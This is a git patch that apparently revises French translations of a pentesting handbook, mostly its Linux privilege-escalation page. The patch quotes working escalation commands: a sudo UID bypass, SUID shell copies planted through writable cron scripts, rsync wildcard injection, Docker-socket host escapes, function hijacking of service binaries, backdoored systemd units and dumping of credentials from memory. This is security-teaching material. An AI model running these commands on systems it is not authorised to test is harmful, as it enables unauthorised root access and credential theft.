From c4fe402c4992611233745263925303eccee7d2dd Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 16 Apr 2024 04:03:36 +0000 Subject: [PATCH] Translated ['linux-hardening/privilege-escalation/README.md', 'network-s --- SUMMARY.md | 2 +- .../privilege-escalation/README.md | 202 +++++++++--------- .../pentesting-web/README.md | 55 ++--- .../pentesting-web/web-api-pentesting.md | 21 +- .../README.md | 170 +++++++-------- pentesting-web/hacking-jwt-json-web-tokens.md | 50 ++--- todo/online-platforms-with-api.md | 97 +++++---- 7 files changed, 295 insertions(+), 302 deletions(-) diff --git a/SUMMARY.md b/SUMMARY.md index eb12c8af2..de7a8f844 100644 --- a/SUMMARY.md +++ b/SUMMARY.md @@ -49,7 +49,7 @@ * [Specific Software/File-Type Tricks](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/README.md) * [Decompile compiled python binaries (exe, elf) - Retreive from .pyc](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md) * [Browser Artifacts](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md) - * [Desofuscation vbs (cscript.exe)](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md) + * [Deofuscation vbs (cscript.exe)](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md) * [Local Cloud Storage](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md) * [Office file analysis](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md) * [PDF File analysis](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md) diff --git a/linux-hardening/privilege-escalation/README.md b/linux-hardening/privilege-escalation/README.md index aecc36dd8..e8bad3804 100644 --- a/linux-hardening/privilege-escalation/README.md +++ b/linux-hardening/privilege-escalation/README.md @@ -26,7 +26,7 @@ cat /etc/os-release 2>/dev/null # universal on modern systems ``` ### Chemin -Si vous **avez des autorisations d'écriture sur n'importe quel dossier à l'intérieur de la variable `PATH`**, vous pourriez être en mesure de détourner certaines bibliothèques ou binaires : +Si vous **avez des permissions d'écriture sur n'importe quel dossier à l'intérieur de la variable `PATH`**, vous pourriez être en mesure de détourner certaines bibliothèques ou binaires : ```bash echo $PATH ``` @@ -55,7 +55,7 @@ Les outils qui pourraient aider à rechercher des exploits du noyau sont : [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (à exécuter sur la victime, vérifie uniquement les exploits pour le noyau 2.x) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (exécuter DANS la victime, vérifie uniquement les exploits pour le noyau 2.x) Toujours **rechercher la version du noyau sur Google**, peut-être que votre version du noyau est mentionnée dans un exploit du noyau et alors vous serez sûr que cet exploit est valide. @@ -85,9 +85,9 @@ De @sickrov ``` sudo -u#-1 /bin/bash ``` -### La vérification de la signature Dmesg a échoué +### Échec de la vérification de la signature Dmesg -Consultez la **boîte smasher2 de HTB** pour un **exemple** de la façon dont cette vulnérabilité pourrait être exploitée +Consultez la **boîte smasher2 de HTB** pour un **exemple** de la manière dont cette vulnérabilité pourrait être exploitée ```bash dmesg 2>/dev/null | grep "signature" ``` @@ -114,31 +114,31 @@ fi ``` ### Grsecurity -Grsecurity est un ensemble de patches pour le noyau Linux qui améliore la sécurité en ajoutant des fonctionnalités telles que RBAC (Role-Based Access Control), des protections contre les attaques de type "buffer overflow" et des mécanismes de prévention de l'escalade de privilèges. +Grsecurity est un ensemble de patches pour le noyau Linux qui améliore la sécurité en ajoutant des fonctionnalités telles que RBAC (Role-Based Access Control), la prévention de l'exécution de données et la randomisation de l'espace d'adressage. Ces fonctionnalités renforcent la sécurité du système en limitant les attaques potentielles et en réduisant les risques d'escalade de privilèges. ```bash ((uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo "Not found grsecurity") ``` ### PaX -PaX est un patch noyau Linux qui implémente diverses fonctionnalités de sécurité, y compris l'exécution aléatoire de la pile (ASLR), la protection de la mémoire contre les attaques de dépassement de tampon et la protection contre l'exécution de code sur des pages de données. Ces fonctionnalités aident à renforcer la sécurité du système en rendant plus difficile l'exploitation des vulnérabilités. +PaX est un patch noyau Linux qui implémente diverses fonctionnalités de sécurité, y compris l'exécution aléatoire de la pile et des adresses mémoire, ainsi que des protections contre l'écrasement de la pile et les attaques de dépassement de tampon. ```bash (which paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo "Not found PaX") ``` ### Execshield -Execshield est une fonctionnalité de sécurité du noyau Linux qui vise à prévenir les attaques de débordement de pile en rendant la pile non exécutable. Cela aide à réduire les risques de vulnérabilités d'exécution de code arbitraire. +Execshield est une fonctionnalité de sécurité du noyau Linux qui vise à protéger contre les attaques de débordement de tampon en rendant les zones de mémoire non exécutables. Cela aide à prévenir l'exécution de code malveillant stocké dans des zones de mémoire préalablement remplies par un attaquant. ```bash (grep "exec-shield" /etc/sysctl.conf || echo "Not found Execshield") ``` ### SElinux -**SELinux** (Security-Enhanced Linux) est un mécanisme de contrôle d'accès obligatoire (MAC) pour Linux qui met en œuvre des politiques de sécurité renforcées pour renforcer la sécurité du système en limitant les privilèges des utilisateurs et des processus. +### SElinux ```bash (sestatus 2>/dev/null || echo "Not found sestatus") ``` ### ASLR -Address Space Layout Randomization (ASLR) is a security feature that randomizes the memory addresses used by system processes. This helps prevent attackers from predicting memory addresses and executing successful attacks. +Address Space Layout Randomization (ASLR) is a security technique used to prevent attackers from predicting memory addresses in order to exploit vulnerabilities such as buffer overflows. ASLR randomizes the memory locations of key data areas, making it harder for attackers to execute malicious code. ```bash cat /proc/sys/kernel/randomize_va_space 2>/dev/null #If 0, not enabled @@ -186,14 +186,14 @@ _Notez que ces commandes afficheront beaucoup d'informations qui seront principa ## Processus -Jetez un œil aux **processus** en cours d'exécution et vérifiez si un processus a **plus de privilèges qu'il ne le devrait** (peut-être un tomcat exécuté par root ?) +Jetez un œil aux **processus** en cours d'exécution et vérifiez si un processus a **plus de privilèges qu'il ne devrait** (peut-être un tomcat exécuté par root ?) ```bash ps aux ps -ef top -n 1 ``` Vérifiez toujours s'il y a des [**débogueurs electron/cef/chromium** en cours d'exécution, vous pourriez les exploiter pour escalader les privilèges](electron-cef-chromium-debugger-abuse.md). **Linpeas** les détecte en vérifiant le paramètre `--inspect` dans la ligne de commande du processus.\ -Vérifiez également vos **privilèges sur les binaires des processus**, peut-être pouvez-vous écraser quelqu'un. +Vérifiez également vos **privilèges sur les binaires des processus**, peut-être pouvez-vous en écraser un. ### Surveillance des processus @@ -244,7 +244,7 @@ done #### /proc/$pid/maps & /proc/$pid/mem -Pour un ID de processus donné, **maps montre comment la mémoire est cartographiée dans l'espace d'adressage virtuel de ce processus**; il montre également les **permissions de chaque région cartographiée**. Le fichier pseudo **mem expose la mémoire des processus eux-mêmes**. À partir du fichier **maps**, nous savons quelles **régions de mémoire sont lisibles** et leurs décalages. Nous utilisons ces informations pour **chercher dans le fichier mem et extraire toutes les régions lisibles** dans un fichier. +Pour un ID de processus donné, **maps montre comment la mémoire est cartographiée dans l'espace d'adressage virtuel de ce processus**; il montre également les **permissions de chaque région mappée**. Le fichier pseudo **mem expose la mémoire des processus eux-mêmes**. À partir du fichier **maps**, nous savons quelles **régions de mémoire sont lisibles** et leurs décalages. Nous utilisons ces informations pour **chercher dans le fichier mem et extraire toutes les régions lisibles** dans un fichier. ```bash procdump() ( @@ -264,9 +264,9 @@ En général, `/dev/mem` n'est lisible que par l'utilisateur **root** et le grou ``` strings /dev/mem -n10 | grep -i PASS ``` -### ProcDump pour linux +### ProcDump pour Linux -ProcDump est une réinterprétation pour Linux de l'outil classique ProcDump de la suite d'outils Sysinternals pour Windows. Trouvez-le sur [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) +ProcDump est une réinterprétation pour Linux de l'outil classique ProcDump de la suite d'outils Sysinternals pour Windows. Vous pouvez le trouver sur [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 @@ -321,10 +321,10 @@ L'outil [**https://github.com/huntergregal/mimipenguin**](https://github.com/hun | Fonctionnalité | Nom du processus | | -------------------------------------------------- | --------------------- | -| Mot de passe GDM (Kali Desktop, Debian Desktop) | gdm-password | -| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | -| LightDM (Ubuntu Desktop) | lightdm | -| VSFTPd (Connexions FTP actives) | vsftpd | +| Mot de passe GDM (Kali Desktop, Debian Desktop) | gdm-password | +| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | +| LightDM (Ubuntu Desktop) | lightdm | +| VSFTPd (Connexions FTP actives) | vsftpd | | Apache2 (Sessions d'authentification HTTP Basic actives) | apache2 | | OpenSSH (Sessions SSH actives - Utilisation de Sudo) | sshd: | @@ -344,7 +344,7 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... ``` ## Tâches planifiées/Cron -Vérifiez si une tâche planifiée est vulnérable. Peut-être pouvez-vous profiter d'un script exécuté par root (vulnérabilité de joker ? pouvez-vous modifier des fichiers utilisés par root ? utiliser des liens symboliques ? créer des fichiers spécifiques dans le répertoire utilisé par root ?). +Vérifiez si une tâche planifiée est vulnérable. Peut-être pouvez-vous profiter d'un script exécuté par root (vulnérabilité de joker ? peut modifier des fichiers utilisés par root ? utiliser des liens symboliques ? créer des fichiers spécifiques dans le répertoire utilisé par root ?). ```bash crontab -l ls -al /etc/cron* /etc/at* @@ -356,7 +356,7 @@ Par exemple, à l'intérieur de _/etc/crontab_, vous pouvez trouver le CHEMIN : (_Remarquez comment l'utilisateur "user" a des privilèges d'écriture sur /home/user_) -Si à l'intérieur de ce crontab l'utilisateur root essaie d'exécuter une commande ou un script sans définir le chemin. Par exemple : _\* \* \* \* root overwrite.sh_\ +Si à l'intérieur de ce crontab, l'utilisateur root essaie d'exécuter une commande ou un script sans définir le chemin. Par exemple : _\* \* \* \* root overwrite.sh_\ Ensuite, vous pouvez obtenir un shell root en utilisant : ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh @@ -365,11 +365,11 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh ``` ### Cron en utilisant un script avec un joker (Injection de joker) -Si un script est exécuté par root et contient un "**\***" dans une commande, vous pourriez exploiter cela pour réaliser des actions inattendues (comme une élévation de privilèges). Exemple : +Si un script est exécuté par root et contient un "**\***" dans une commande, vous pourriez exploiter cela pour provoquer des actions inattendues (comme une élévation de privilèges). Exemple : ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**Si l'astérisque est précédé d'un chemin comme** _**/some/path/\***_ **, il n'est pas vulnérable (même** _**./\***_ **ne l'est pas).** +**Si l'astérisque est précédé d'un chemin comme** _**/some/path/\***_, **il n'est pas vulnérable (même** _**./\*** **n'est pas).** Consultez la page suivante pour plus de techniques d'exploitation des astérisques : @@ -385,15 +385,15 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -Si le script exécuté par root utilise un **répertoire sur lequel vous avez un accès complet**, il pourrait être utile de supprimer ce dossier et de **créer un lien symbolique vers un autre dossier** contenant un script contrôlé par vous. +Si le script exécuté par root utilise un **répertoire sur lequel vous avez un accès complet**, il pourrait être utile de supprimer ce dossier et **de créer un lien symbolique vers un autre dossier** servant un script contrôlé par vous. ```bash ln -d -s ``` ### Tâches cron fréquentes -Vous pouvez surveiller les processus pour rechercher ceux qui sont exécutés toutes les 1, 2 ou 5 minutes. Peut-être pouvez-vous en profiter pour escalader les privilèges. +Vous pouvez surveiller les processus pour rechercher ceux qui sont exécutés toutes les 1, 2 ou 5 minutes. Vous pourriez en profiter pour escalader les privilèges. -Par exemple, pour **surveiller toutes les 0,1s pendant 1 minute**, **trier par les commandes moins exécutées** et supprimer les commandes les plus exécutées, vous pouvez faire : +Par exemple, pour **surveiller toutes les 0,1s pendant 1 minute**, **trier par les commandes les moins exécutées** et supprimer les commandes les plus exécutées, vous pouvez faire : ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` @@ -409,14 +409,14 @@ Il est possible de créer une tâche cron **en ajoutant un retour chariot après ### Fichiers _.service_ inscriptibles -Vérifiez si vous pouvez écrire un fichier `.service`, si c'est le cas, vous **pourriez le modifier** pour qu'il **exécute** votre **backdoor lorsque** le service est **démarré**, **redémarré** ou **arrêté** (vous devrez peut-être attendre que la machine soit redémarrée).\ +Vérifiez si vous pouvez écrire un fichier `.service`, si c'est le cas, vous **pourriez le modifier** pour qu'il **exécute** votre **backdoor lorsque** le service est **démarré**, **redémarré** ou **arrêté** (vous devrez peut-être attendre le redémarrage de la machine).\ Par exemple, créez votre backdoor à l'intérieur du fichier .service avec **`ExecStart=/tmp/script.sh`** ### Binaires de service inscriptibles -Gardez à l'esprit que si vous avez des **permissions d'écriture sur les binaires exécutés par les services**, vous pouvez les modifier pour y ajouter des backdoors afin que lorsque les services seront réexécutés, les backdoors seront exécutées. +Gardez à l'esprit que si vous avez des **permissions d'écriture sur les binaires exécutés par les services**, vous pouvez les modifier pour y ajouter des backdoors afin qu'elles soient exécutées lorsque les services sont relancés. -### Chemins relatifs systemd PATH +### Chemins relatifs de systemd PATH Vous pouvez voir le PATH utilisé par **systemd** avec: ```bash @@ -428,13 +428,13 @@ ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -Ensuite, créez un **exécutable** avec le **même nom que le binaire du chemin relatif** à l'intérieur du dossier PATH de systemd où vous pouvez écrire, et lorsque le service est appelé à exécuter l'action vulnérable (**Démarrer**, **Arrêter**, **Recharger**), votre **porte dérobée sera exécutée** (les utilisateurs non privilégiés ne peuvent généralement pas démarrer/arrêter les services mais vérifiez si vous pouvez utiliser `sudo -l`). +Ensuite, créez un **exécutable** avec le **même nom que le binaire du chemin relatif** à l'intérieur du dossier PATH systemd où vous pouvez écrire, et lorsque le service est appelé à exécuter l'action vulnérable (**Démarrer**, **Arrêter**, **Recharger**), votre **porte dérobée sera exécutée** (les utilisateurs non privilégiés ne peuvent généralement pas démarrer/arrêter les services mais vérifiez si vous pouvez utiliser `sudo -l`). -**En savoir plus sur les services avec `man systemd.service`.** +**Apprenez-en plus sur les services avec `man systemd.service`.** ## **Minuteries** -Les **minuteries** sont des fichiers d'unité systemd dont le nom se termine par `**.timer**` qui contrôlent les fichiers ou événements `**.service**`. Les **minuteries** peuvent être utilisées comme une alternative à cron car elles ont un support intégré pour les événements de temps calendrier et les événements de temps monotone et peuvent être exécutées de manière asynchrone. +Les **minuteries** sont des fichiers d'unité systemd dont le nom se termine par `**.timer**` qui contrôlent les fichiers ou événements `**.service**`. Les **minuteries** peuvent être utilisées comme une alternative à cron car elles prennent en charge les événements de temps calendrier et les événements de temps monotone et peuvent être exécutées de manière asynchrone. Vous pouvez énumérer toutes les minuteries avec: ```bash @@ -442,7 +442,7 @@ systemctl list-timers --all ``` ### Timers inscriptibles -Si vous pouvez modifier un timer, vous pouvez le faire exécuter des existants de systemd.unit (comme un `.service` ou un `.target`) +Si vous pouvez modifier un timer, vous pouvez le faire exécuter des existants de systemd.unit (comme un fichier `.service` ou `.target`) ```bash Unit=backdoor.service ``` @@ -477,12 +477,12 @@ Les sockets peuvent être configurés en utilisant des fichiers `.socket`. * `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction` : Ces options sont différentes mais un résumé est utilisé pour **indiquer où il va écouter** le socket (le chemin du fichier de socket AF\_UNIX, l'adresse IPv4/6 et/ou le numéro de port à écouter, etc.) * `Accept` : Prend un argument booléen. Si **true**, une **instance de service est lancée pour chaque connexion entrante** et seul le socket de connexion est transmis à celle-ci. Si **false**, tous les sockets d'écoute eux-mêmes sont **transmis à l'unité de service démarrée**, et une seule unité de service est lancée pour toutes les connexions. Cette valeur est ignorée pour les sockets de datagramme et les FIFO où une seule unité de service gère inconditionnellement tout le trafic entrant. **Par défaut à false**. Pour des raisons de performance, il est recommandé d'écrire de nouveaux démons uniquement de manière adaptée à `Accept=no`. * `ExecStartPre`, `ExecStartPost` : Prend une ou plusieurs lignes de commande, qui sont **exécutées avant** ou **après** que les **sockets**/FIFOs d'écoute soient **créés** et liés, respectivement. Le premier jeton de la ligne de commande doit être un nom de fichier absolu, suivi des arguments pour le processus. -* `ExecStopPre`, `ExecStopPost` : **Commandes** supplémentaires qui sont **exécutées avant** ou **après** que les **sockets**/FIFOs d'écoute soient **fermés** et supprimés, respectivement. -* `Service` : Spécifie le nom de l'**unité de service** à **activer** sur le **trafic entrant**. Ce paramètre n'est autorisé que pour les sockets avec Accept=no. Par défaut, il s'agit du service portant le même nom que le socket (avec le suffixe remplacé). Dans la plupart des cas, il ne devrait pas être nécessaire d'utiliser cette option. +* `ExecStopPre`, `ExecStopPost` : Commandes supplémentaires qui sont **exécutées avant** ou **après** que les **sockets**/FIFOs d'écoute soient **fermés** et supprimés, respectivement. +* `Service` : Spécifie le nom de l'unité de **service à activer** sur le **trafic entrant**. Ce paramètre n'est autorisé que pour les sockets avec Accept=no. Par défaut, il s'agit du service portant le même nom que le socket (avec le suffixe remplacé). Dans la plupart des cas, il ne devrait pas être nécessaire d'utiliser cette option. ### Fichiers .socket inscriptibles -Si vous trouvez un fichier `.socket` **inscriptible**, vous pouvez **ajouter** au début de la section `[Socket]` quelque chose comme : `ExecStartPre=/home/kali/sys/backdoor` et la porte dérobée sera exécutée avant la création du socket. Par conséquent, vous devrez **probablement attendre que la machine redémarre.**\ +Si vous trouvez un fichier `.socket` **inscriptible**, vous pouvez **ajouter** au début de la section `[Socket]` quelque chose comme : `ExecStartPre=/home/kali/sys/backdoor` et la porte dérobée sera exécutée avant la création du socket. Par conséquent, vous devrez **probablement attendre que la machine soit redémarrée.**\ _Notez que le système doit utiliser cette configuration de fichier de socket ou la porte dérobée ne sera pas exécutée_ ### Sockets inscriptibles @@ -514,9 +514,15 @@ Notez qu'il peut y avoir des **sockets en écoute pour les requêtes HTTP** (_Je ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -### Prise de privilèges avec Docker CLI +Si le socket **répond avec une requête HTTP**, alors vous pouvez **communiquer** avec lui et peut-être **exploiter une vulnérabilité**. -Si vous avez un accès en écriture au socket Docker, vous pouvez escalader les privilèges en utilisant les commandes suivantes : +### Socket Docker inscriptible + +Le socket Docker, souvent situé à `/var/run/docker.sock`, est un fichier critique qui doit être sécurisé. Par défaut, il est inscriptible par l'utilisateur `root` et les membres du groupe `docker`. Avoir un accès en écriture à ce socket peut entraîner une élévation de privilèges. Voici un aperçu de la façon dont cela peut être fait et des méthodes alternatives si le CLI Docker n'est pas disponible. + +#### **Élévation de privilèges avec le CLI Docker** + +Si vous avez un accès en écriture au socket Docker, vous pouvez élever les privilèges en utilisant les commandes suivantes: ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh @@ -527,23 +533,23 @@ Ces commandes vous permettent d'exécuter un conteneur avec un accès de niveau Dans les cas où le CLI Docker n'est pas disponible, le socket Docker peut toujours être manipulé en utilisant l'API Docker et des commandes `curl`. -1. **Lister les images Docker :** Récupérer la liste des images disponibles. +1. **Lister les images Docker:** Récupérer la liste des images disponibles. ```bash curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json ``` -2. **Créer un conteneur :** Envoyer une requête pour créer un conteneur qui monte le répertoire racine du système hôte. +2. **Créer un conteneur:** Envoyer une requête pour créer un conteneur qui monte le répertoire racine du système hôte. ```bash curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create ``` -Démarrer le conteneur nouvellement créé : +Démarrer le conteneur nouvellement créé: ```bash curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start ``` -3. **Se connecter au conteneur :** Utiliser `socat` pour établir une connexion avec le conteneur, permettant l'exécution de commandes à l'intérieur. +3. **Se connecter au conteneur:** Utiliser `socat` pour établir une connexion avec le conteneur, permettant l'exécution de commandes à l'intérieur. ```bash socat - UNIX-CONNECT:/var/run/docker.sock @@ -557,9 +563,9 @@ Après avoir établi la connexion `socat`, vous pouvez exécuter des commandes d ### Autres -Notez que si vous avez des autorisations d'écriture sur le socket Docker car vous êtes **dans le groupe `docker`**, vous avez [**d'autres moyens d'escalader les privilèges**](interesting-groups-linux-pe/#docker-group). Si l' [**API Docker écoute sur un port** vous pouvez également compromettre](../../network-services-pentesting/2375-pentesting-docker.md#compromising). +Notez que si vous avez des autorisations d'écriture sur le socket docker parce que vous êtes **dans le groupe `docker`** vous avez [**d'autres moyens d'escalader les privilèges**](interesting-groups-linux-pe/#docker-group). Si l' [**API docker écoute sur un port** vous pouvez également être en mesure de le compromettre](../../network-services-pentesting/2375-pentesting-docker.md#compromising). -Consultez **d'autres moyens de contourner Docker ou de l'exploiter pour escalader les privilèges** dans : +Consultez **d'autres moyens de s'échapper de Docker ou de l'exploiter pour escalader les privilèges** dans : {% content-ref url="docker-security/" %} [docker-security](docker-security/) @@ -583,13 +589,13 @@ Si vous constatez que vous pouvez utiliser la commande **`runc`**, lisez la page ## **D-Bus** -D-Bus est un système sophistiqué de **communication inter-processus (IPC)** qui permet aux applications d'interagir et de partager des données de manière efficace. Conçu pour le système Linux moderne, il offre un cadre robuste pour différents types de communication d'application. +D-Bus est un système sophistiqué de **communication inter-processus (IPC)** qui permet aux applications d'interagir efficacement et de partager des données. Conçu pour le système Linux moderne, il offre un cadre robuste pour différents types de communication d'application. -Le système est polyvalent, prenant en charge une IPC de base qui améliore les échanges de données entre les processus, rappelant les **sockets de domaine UNIX améliorés**. De plus, il aide à diffuser des événements ou des signaux, favorisant une intégration transparente entre les composants du système. Par exemple, un signal d'un démon Bluetooth concernant un appel entrant peut inciter un lecteur de musique à se mettre en sourdine, améliorant l'expérience utilisateur. De plus, D-Bus prend en charge un système d'objet distant, simplifiant les demandes de service et les invocations de méthode entre les applications, rationalisant des processus traditionnellement complexes. +Le système est polyvalent, prenant en charge une IPC de base qui améliore l'échange de données entre les processus, rappelant les **sockets de domaine UNIX améliorés**. De plus, il aide à diffuser des événements ou des signaux, favorisant une intégration transparente entre les composants du système. Par exemple, un signal d'un démon Bluetooth concernant un appel entrant peut inciter un lecteur de musique à se mettre en sourdine, améliorant ainsi l'expérience utilisateur. De plus, D-Bus prend en charge un système d'objet distant, simplifiant les demandes de service et les invocations de méthode entre les applications, rationalisant des processus traditionnellement complexes. -D-Bus fonctionne sur un modèle **autoriser/refuser**, gérant les permissions des messages (appels de méthode, émissions de signaux, etc.) en fonction de l'effet cumulatif des règles de stratégie correspondantes. Ces politiques spécifient les interactions avec le bus, permettant potentiellement une escalade de privilèges grâce à l'exploitation de ces autorisations. +D-Bus fonctionne sur un modèle **autoriser/refuser**, gérant les permissions des messages (appels de méthode, émissions de signaux, etc.) en fonction de l'effet cumulatif des règles de politique correspondantes. Ces politiques spécifient les interactions avec le bus, permettant potentiellement une escalade de privilèges grâce à l'exploitation de ces permissions. -Un exemple de cette politique dans `/etc/dbus-1/system.d/wpa_supplicant.conf` est fourni, détaillant les autorisations pour l'utilisateur root de posséder, d'envoyer et de recevoir des messages de `fi.w1.wpa_supplicant1`. +Un exemple de cette politique dans `/etc/dbus-1/system.d/wpa_supplicant.conf` est fourni, détaillant les autorisations pour l'utilisateur root de posséder, envoyer et recevoir des messages de `fi.w1.wpa_supplicant1`. Les politiques sans utilisateur ou groupe spécifié s'appliquent universellement, tandis que les politiques de contexte "par défaut" s'appliquent à tous ceux qui ne sont pas couverts par d'autres politiques spécifiques. ```xml @@ -600,7 +606,7 @@ Les politiques sans utilisateur ou groupe spécifié s'appliquent universellemen ``` -**Apprenez à énumérer et exploiter une communication D-Bus ici:** +**Apprenez à énumérer et exploiter une communication D-Bus ici :** {% content-ref url="d-bus-enumeration-and-command-injection-privilege-escalation.md" %} [d-bus-enumeration-and-command-injection-privilege-escalation.md](d-bus-enumeration-and-command-injection-privilege-escalation.md) @@ -642,7 +648,7 @@ Vérifiez toujours les services réseau en cours d'exécution sur la machine ave ``` ### Sniffing -Vérifiez si vous pouvez renifler le trafic. Si vous le pouvez, vous pourriez être en mesure de récupérer des informations d'identification. +Vérifiez si vous pouvez renifler le trafic. Si vous le pouvez, vous pourriez être en mesure de récupérer des identifiants. ``` timeout 1 tcpdump ``` @@ -674,7 +680,7 @@ gpg --list-keys 2>/dev/null ``` ### Grand UID -Certaines versions de Linux étaient affectées par un bug qui permet aux utilisateurs avec **UID > INT\_MAX** d'escalader les privilèges. Plus d'informations: [ici](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [ici](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) et [ici](https://twitter.com/paragonsec/status/1071152249529884674).\ +Certaines versions de Linux étaient affectées par un bug qui permet aux utilisateurs avec un **UID > INT\_MAX** d'escalader les privilèges. Plus d'informations: [ici](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [ici](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) et [ici](https://twitter.com/paragonsec/status/1071152249529884674).\ **Exploitez-le** en utilisant: **`systemd-run -t /bin/bash`** ### Groupes @@ -706,16 +712,16 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi Si vous **connaissez un mot de passe** de l'environnement, **essayez de vous connecter en tant que chaque utilisateur** en utilisant le mot de passe. -### Brute-force de Su +### Su Brute Si vous ne vous souciez pas de faire beaucoup de bruit et que les binaires `su` et `timeout` sont présents sur l'ordinateur, vous pouvez essayer de forcer l'utilisateur en utilisant [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ [**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) avec le paramètre `-a` essaie également de forcer les utilisateurs. -## Abus de chemin d'accès inscriptible +## Abus de chemin inscriptible ### $PATH -Si vous découvrez que vous pouvez **écrire à l'intérieur d'un dossier du $PATH**, vous pourriez être en mesure d'escalader les privilèges en **créant une porte dérobée à l'intérieur du dossier inscriptible** avec le nom d'une commande qui va être exécutée par un autre utilisateur (idéalement root) et qui n'est **pas chargée à partir d'un dossier situé précédemment** à votre dossier inscriptible dans $PATH. +Si vous découvrez que vous pouvez **écrire dans un dossier du $PATH**, vous pourriez être en mesure d'escalader les privilèges en **créant une porte dérobée à l'intérieur du dossier inscriptible** avec le nom d'une commande qui va être exécutée par un utilisateur différent (idéalement root) et qui n'est **pas chargée à partir d'un dossier situé précédemment** à votre dossier inscriptible dans $PATH. ### SUDO et SUID @@ -778,35 +784,33 @@ sudo less /var/log/something /etc/shadow #Red 2 files ### Commande Sudo/binaire SUID sans chemin de commande -Si la **permission sudo** est donnée à une seule commande **sans spécifier le chemin**: _hacker10 ALL= (root) less_, vous pouvez l'exploiter en modifiant la variable PATH +Si la **permission sudo** est accordée à une seule commande **sans spécifier le chemin**: _hacker10 ALL= (root) less_, vous pouvez l'exploiter en modifiant la variable PATH ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -Cette technique peut également être utilisée si un binaire **suid** exécute une autre commande sans spécifier le chemin d'accès (vérifiez toujours avec **_strings_** le contenu d'un binaire SUID suspect). +Cette technique peut également être utilisée si un binaire **suid** **exécute une autre commande sans spécifier le chemin d'accès (vérifiez toujours avec** _**strings**_ **le contenu d'un binaire SUID suspect)**. [Exemples de charges utiles à exécuter.](payloads-to-execute.md) -### Binaire SUID avec chemin de commande +### Binaire SUID avec chemin d'accès de commande -Si le binaire **suid** exécute une autre commande en spécifiant le chemin d'accès, alors vous pouvez essayer d'**exporter une fonction** nommée comme la commande que le fichier suid appelle. +Si le binaire **suid** **exécute une autre commande en spécifiant le chemin d'accès**, alors vous pouvez essayer d'**exporter une fonction** nommée comme la commande que le fichier suid appelle. Par exemple, si un binaire suid appelle _**/usr/sbin/service apache2 start**_, vous devez essayer de créer la fonction et de l'exporter : ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service ``` -Ensuite, lorsque vous appelez le binaire suid, cette fonction sera exécutée - ### LD\_PRELOAD & **LD\_LIBRARY\_PATH** -La variable d'environnement **LD\_PRELOAD** est utilisée pour spécifier une ou plusieurs bibliothèques partagées (.so) à charger par le chargeur avant toutes les autres, y compris la bibliothèque C standard (`libc.so`). Ce processus est connu 